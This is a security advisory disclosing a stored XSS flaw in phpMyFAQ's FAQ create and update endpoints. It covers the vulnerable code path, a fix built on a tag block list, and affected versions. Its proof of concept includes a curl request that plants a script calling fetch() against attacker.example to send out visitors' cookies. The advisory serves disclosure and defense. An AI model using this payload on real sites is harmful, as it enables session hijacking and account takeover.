phpMyFAQ has Stored XSS in FAQ Question/Answer via Encode-Decode Bypass of removeAttributes() Sanitization
The advisory, in context
Summary
The FAQ creation and update endpoints in phpMyFAQ apply FILTER_SANITIZE_SPECIAL_CHARS (which HTML-encodes input), then immediately call html_entity_decode() which reverses the encoding, followed by Filter::removeAttributes() which only strips HTML attributes — not tags. This allows <script>, <iframe>, <object>, and <embed> tags to be stored in the database and rendered unescaped via {{ answer|raw }} and {{ question|raw }} in the Twig template, causing JavaScript execution in every visitor's browser.
Details
Vulnerable code path (FAQ create — FaqController.php):
At line 120, the answer content is filtered:
$content = Filter::filterVar($data->answer, FILTER_SANITIZE_SPECIAL_CHARS);
Filter::filterVar() calls filterSanitizeString() (Filter.php:135-144) which applies htmlspecialchars(), converting <script> to <script>. The regex /\x00|<[^>]*>?/ then finds no literal angle brackets to strip.
At lines 150-154, the encoded content is decoded and passed to attribute-only sanitization:
->setAnswer(Filter::removeAttributes(html_entity_decode(
(string) $content,
ENT_QUOTES | ENT_HTML5,
encoding: 'UTF-8',
)))
html_entity_decode() converts <script> back to <script>, fully reversing the earlier sanitization. Filter::removeAttributes() (Filter.php:150-196) only matches and strips attribute=value patterns from a known list of HTML attributes (event handlers like onclick, onerror, etc.) but performs no tag-level filtering. A <script> tag with no attributes passes through completely unchanged.
The identical pattern exists in the update endpoint at lines 389-398.
Rendering sink (faq.twig):
<h2 class="mb-4 border-bottom">{{ question | raw }}</h2>
<article class="pmf-faq-body pb-4 mb-4 border-bottom">{{ answer|raw }}</article>
The |raw filter disables Twig's auto-escaping, causing the stored <script> tag to execute in every visitor's browser.
Additional rendering sinks exist in search.twig (line 75, 77) where search results also render FAQ content with |raw.
PoC
Prerequisites: Authenticated session with FAQ_ADD permission and a valid CSRF token.
Step 1: Create a malicious FAQ
curl -X POST 'https://target/admin/api/faq/create' \
-H 'Cookie: PHPSESSID=<admin_session>' \
-H 'Content-Type: application/json' \
-d '{
"data": {
"pmf-csrf-token": "<valid_csrf_token>",
"question": "Harmless FAQ Title",
"answer": "Helpful content<script>fetch(\"https://attacker.example/steal?c=\"+document.cookie)</script>",
"categories[]": 1,
"lang": "en",
"tags": "",
"active": "yes",
"sticky": "no",
"keywords": "test",
"author": "Admin",
"email": "admin@example.com",
"comment": "n",
"changed": "Initial",
"notes": "",
"serpTitle": "Harmless FAQ",
"serpDescription": "Test",
"openQuestionId": 0,
"notifyEmail": "",
"notifyUser": "",
"recordDateHandling": "updateDate"
}
}'
Expected response: 200 OK with the new FAQ ID.
Step 2: Verify XSS execution
Navigate to the public FAQ page (e.g., https://target/content/1/{faqId}/en/harmless-faq-title.html). The <script> tag in the answer body executes, sending the visitor's cookies to the attacker's server.
Impact
- Session hijacking: An attacker with FAQ creation privileges can steal session cookies from any user (including administrators) who views the FAQ, enabling full account takeover.
- Phishing: The injected script can modify page content to display fake login forms or redirect users to malicious sites.
- Worm propagation: If the attacker captures an admin session, they can create additional malicious FAQs automatically, spreading the attack.
- Scope: Every unauthenticated visitor who views the compromised FAQ is affected. The XSS also fires in search results via
search.twig.
Recommended Fix
Replace the encode→decode→removeAttributes chain with a proper HTML sanitizer that operates on the DOM level. Use a library like HTML Purifier or Symfony's HtmlSanitizer component.
Immediate fix — add tag-level filtering to removeAttributes() (Filter.php):
public static function removeAttributes(string $html = ''): string
{
// Strip dangerous HTML tags entirely
$dangerousTags = ['script', 'iframe', 'object', 'embed', 'applet', 'form', 'base', 'link', 'meta'];
foreach ($dangerousTags as $tag) {
$html = preg_replace('/<' . $tag . '\b[^>]*>.*?<\/' . $tag . '>/is', '', $html);
$html = preg_replace('/<' . $tag . '\b[^>]*\/?>/is', '', $html);
}
// Also sanitize javascript: URIs in href/src attributes
$html = preg_replace('/\b(href|src)\s*=\s*["\']?\s*javascript:/i', '$1="', $html);
$keep = [
'href', 'src', 'title', 'alt', 'class', 'style', 'id',
'name', 'size', 'dir', 'rel', 'rev', 'target', 'width',
'height', 'controls',
];
// ... rest of existing attribute removal logic
Recommended long-term fix: Replace custom sanitization with Symfony's HtmlSanitizer, which is already a project dependency ecosystem:
use Symfony\Component\HtmlSanitizer\HtmlSanitizer;
use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig;
$config = (new HtmlSanitizerConfig())
->allowSafeElements()
->blockElement('script')
->blockElement('iframe')
->blockElement('object')
->blockElement('embed');
$sanitizer = new HtmlSanitizer($config);
$cleanAnswer = $sanitizer->sanitize($rawAnswer);
Affected packages
Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.
Earlier releases before 4.1.2
Fixed in 4.1.2
170 explicitly affected versions
2.10.0-alpha, 2.8.0, 2.8.0-RC, 2.8.0-RC2, 2.8.0-RC3, 2.8.0-RC4, 2.8.0-alpha2, 2.8.0-alpha3, 2.8.0-beta, 2.8.0-beta2, 2.8.0-beta3, 2.8.1, 2.8.10, 2.8.11, 2.8.12, 2.8.13, 2.8.14, 2.8.15, 2.8.16, 2.8.17, 2.8.18, 2.8.19, 2.8.2, 2.8.20, 2.8.21, 2.8.22, 2.8.23, 2.8.24, 2.8.25, 2.8.26, 2.8.27, 2.8.28, 2.8.29, 2.8.3, 2.8.4, 2.8.5, 2.8.6, 2.8.7, 2.8.8, 2.8.9, 2.9.0, 2.9.0-alpha, 2.9.0-alpha2, 2.9.0-alpha3, 2.9.0-alpha4, 2.9.0-beta, 2.9.0-beta2, 2.9.0-rc, 2.9.0-rc2, 2.9.0-rc3, 2.9.0-rc4, 2.9.1, 2.9.10, 2.9.11, 2.9.12, 2.9.13, 2.9.2, 2.9.3, 2.9.4, 2.9.5, 2.9.6, 2.9.7, 2.9.8, 2.9.9, 3.0.0, 3.0.0-RC, 3.0.0-RC.2, 3.0.0-alpha, 3.0.0-alpha.2, 3.0.0-alpha.3, 3.0.0-alpha.4, 3.0.0-beta, 3.0.0-beta.2, 3.0.0-beta.3, 3.0.1, 3.0.10, 3.0.11, 3.0.12, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.0.7, 3.0.8, 3.0.9, 3.1.0, 3.1.0-RC, 3.1.0-alpha, 3.1.0-alpha.2, 3.1.0-alpha.3, 3.1.0-beta, 3.1.1, 3.1.10, 3.1.11, 3.1.12, 3.1.13, 3.1.14, 3.1.15, 3.1.16, 3.1.17, 3.1.18, 3.1.2, 3.1.3, 3.1.4, 3.1.5, 3.1.6, 3.1.7, 3.1.8, 3.1.9, 3.2.0, 3.2.0-RC, 3.2.0-RC.2, 3.2.0-RC.4, 3.2.0-alpha, 3.2.0-beta, 3.2.0-beta.2, 3.2.1, 3.2.10, 3.2.2, 3.2.3, 3.2.4, 3.2.5, 3.2.6, 3.2.7, 3.2.8, 3.2.9, 4.0.0, 4.0.0-RC, 4.0.0-RC.2, 4.0.0-RC.3, 4.0.0-RC.4, 4.0.0-RC.5, 4.0.0-alpha, 4.0.0-alpha.2, 4.0.0-alpha.3, 4.0.0-alpha.4, 4.0.0-beta, 4.0.0-beta.2, 4.0.1, 4.0.10, 4.0.11, 4.0.12, 4.0.13, 4.0.14, 4.0.15, 4.0.16, 4.0.18, 4.0.19, 4.0.2, 4.0.3, 4.0.4, 4.0.5, 4.0.6, 4.0.7, 4.0.8, 4.0.9, 4.1.0, 4.1.0-RC, 4.1.0-RC.2, 4.1.0-RC.4, 4.1.0-RC.5, 4.1.0-RC.6, 4.1.0-RC.7, 4.1.0-alpha, 4.1.0-alpha.2, 4.1.0-alpha.3, 4.1.0-beta, 4.1.0-beta.2, 4.1.1
View affected-version evidence
{
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.2"
}
],
"type": "ECOSYSTEM"
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"4.1.0-alpha.2",
"4.1.0-alpha.3",
"4.1.0-beta",
"4.1.0-beta.2",
"4.1.1"
]
}Earlier releases before 4.1.2
Fixed in 4.1.2
170 explicitly affected versions
2.10.0-alpha, 2.8.0, 2.8.0-RC, 2.8.0-RC2, 2.8.0-RC3, 2.8.0-RC4, 2.8.0-alpha2, 2.8.0-alpha3, 2.8.0-beta, 2.8.0-beta2, 2.8.0-beta3, 2.8.1, 2.8.10, 2.8.11, 2.8.12, 2.8.13, 2.8.14, 2.8.15, 2.8.16, 2.8.17, 2.8.18, 2.8.19, 2.8.2, 2.8.20, 2.8.21, 2.8.22, 2.8.23, 2.8.24, 2.8.25, 2.8.26, 2.8.27, 2.8.28, 2.8.29, 2.8.3, 2.8.4, 2.8.5, 2.8.6, 2.8.7, 2.8.8, 2.8.9, 2.9.0, 2.9.0-alpha, 2.9.0-alpha2, 2.9.0-alpha3, 2.9.0-alpha4, 2.9.0-beta, 2.9.0-beta2, 2.9.0-rc, 2.9.0-rc2, 2.9.0-rc3, 2.9.0-rc4, 2.9.1, 2.9.10, 2.9.11, 2.9.12, 2.9.13, 2.9.2, 2.9.3, 2.9.4, 2.9.5, 2.9.6, 2.9.7, 2.9.8, 2.9.9, 3.0.0, 3.0.0-RC, 3.0.0-RC.2, 3.0.0-alpha, 3.0.0-alpha.2, 3.0.0-alpha.3, 3.0.0-alpha.4, 3.0.0-beta, 3.0.0-beta.2, 3.0.0-beta.3, 3.0.1, 3.0.10, 3.0.11, 3.0.12, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.0.7, 3.0.8, 3.0.9, 3.1.0, 3.1.0-RC, 3.1.0-alpha, 3.1.0-alpha.2, 3.1.0-alpha.3, 3.1.0-beta, 3.1.1, 3.1.10, 3.1.11, 3.1.12, 3.1.13, 3.1.14, 3.1.15, 3.1.16, 3.1.17, 3.1.18, 3.1.2, 3.1.3, 3.1.4, 3.1.5, 3.1.6, 3.1.7, 3.1.8, 3.1.9, 3.2.0, 3.2.0-RC, 3.2.0-RC.2, 3.2.0-RC.4, 3.2.0-alpha, 3.2.0-beta, 3.2.0-beta.2, 3.2.1, 3.2.10, 3.2.2, 3.2.3, 3.2.4, 3.2.5, 3.2.6, 3.2.7, 3.2.8, 3.2.9, 4.0.0, 4.0.0-RC, 4.0.0-RC.2, 4.0.0-RC.3, 4.0.0-RC.4, 4.0.0-RC.5, 4.0.0-alpha, 4.0.0-alpha.2, 4.0.0-alpha.3, 4.0.0-alpha.4, 4.0.0-beta, 4.0.0-beta.2, 4.0.1, 4.0.10, 4.0.11, 4.0.12, 4.0.13, 4.0.14, 4.0.15, 4.0.16, 4.0.18, 4.0.19, 4.0.2, 4.0.3, 4.0.4, 4.0.5, 4.0.6, 4.0.7, 4.0.8, 4.0.9, 4.1.0, 4.1.0-RC, 4.1.0-RC.2, 4.1.0-RC.4, 4.1.0-RC.5, 4.1.0-RC.6, 4.1.0-RC.7, 4.1.0-alpha, 4.1.0-alpha.2, 4.1.0-alpha.3, 4.1.0-beta, 4.1.0-beta.2, 4.1.1
View affected-version evidence
{
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.2"
}
],
"type": "ECOSYSTEM"
}
],
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"2.8.0",
"2.8.0-RC",
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"2.8.0-RC4",
"2.8.0-alpha2",
"2.8.0-alpha3",
"2.8.0-beta",
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}